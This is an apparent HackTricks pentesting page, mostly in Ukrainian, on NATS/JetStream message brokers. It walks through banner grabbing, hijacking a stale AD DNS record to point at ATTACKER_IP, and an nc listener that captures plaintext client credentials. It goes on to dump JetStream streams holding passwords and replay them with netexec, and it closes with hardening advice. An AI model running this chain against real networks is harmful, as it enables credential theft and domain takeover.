4222 - Pentesting NATS / JetStream
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
NATS — високопродуктивна шина повідомлень, яка використовує простий текстовий протокол: сервер передає INFO { ... } JSON-банер відразу після TCP-підключення, а клієнт відповідає фреймом CONNECT {"user":"USERNAME","pass":"PASSWORD",...} з наступними необов’язковими командами PING/PUB/SUB. JetStream додає примітиви збереження (Streams & Consumers) поверх того ж TCP-порту (4222/tcp). TLS і автентифікація опціональні, тому багато внутрішніх розгортань працюють у режимі plaintext AUTH.
- Порт за замовчуванням: 4222/tcp (4223+ для кластерних маршрутів)
- Типові поля банера:
"version","auth_required","jetstream","max_payload","tls_required"
Перерахування
Banner grabbing / service probes
nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open nats NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
INFO frame також можна витягнути вручну:
echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'
Встановіть офіційний CLI (Go ≥1.21) для глибшої взаємодії:
go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt
Помилки автентифікації одразу викликають nats: Authorization Violation, тому для будь-якого змістовного RPC потрібні дійсні creds.
Credential capture via DNS/service impersonation
- Визначте застарілі записи AD DNS для імені хоста брокера (наприклад,
nats-svc.domain.local). Якщо запис повертаєNXDOMAIN, користувач домену з низькими привілеями може створити його наново завдяки стандартним dynamic-update ACLs. See AD DNS Records abuse for background. - Зареєструйте ім’я хоста на IP, контрольований атакуючим:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
- Віддзеркальте легітимний банер один раз, а потім відтворіть його для кожного підключеного клієнта. NATS довіряє першому рядку
INFO, який бачить, тому нам потрібно лише пропустити його через прослуховувач:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
- Як тільки внутрішній клієнт резолвить захоплене ім’я, він відправить у відкритому тексті
CONNECTфрейм, що містить паруuser/passта різну телеметрію (client name, Go version, protocol level). Оскільки нічого після INFO banner не потрібно, навітьncдостатньо для збору секретів. - Для триваліших завдань запустіть офіційний сервер локально (
git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE-логування вже показує імена користувачів; видалення redaction helper або sniffing трафіку з Wireshark виявляє повний пароль.
JetStream — витяг даних та пошук паролів
Once any credential is recovered (e.g. Dev_Account_A), store it as a CLI context to avoid retyping:
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
Виявлення JetStream зазвичай відбувається за наступною схемою:
nats account info --context mirage # quotas, stream count, expiration
nats stream list --context mirage # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage
Команди streaming часто логують події автентифікації в subjects, такі як logs.auth. Якщо розробники зберігають raw JSON у JetStream stream, payloads можуть містити plaintext AD usernames and passwords:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
Збережені secrets можна повторно програти проти Kerberos-only services за допомогою netexec smb DC01 -u USER -p PASS -k, що дозволяє повне скомпрометування домену.
Зміцнення безпеки та виявлення
- Забезпечити TLS (
tls,tls_required, or mTLS viankey/creds). Без шифрування INFO/CONNECT leaks credentials будь-кому на шляху. - Визначте, хто може оновлювати DNS – делегуйте service records виділеним обліковим записам і проводьте аудит Event IDs 257/252 для важливих hostnames. Поєднайте це з scavenging alerts, щоб відсутні broker names не могли бути тихо повторно re-claimed.
- Вимкніть логування credentials. Очищайте secrets перед публікацією в subjects, встановлюйте JetStream retention/age limits, і застосовуйте
deny_delete=falseлише для довірених операторів. - Моніторте аномалії банерів – повторювані короткочасні з’єднання, authentication timeouts, або INFO banners, що не відповідають затвердженому шаблону, вказують на spoofed servers.
Посилання
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

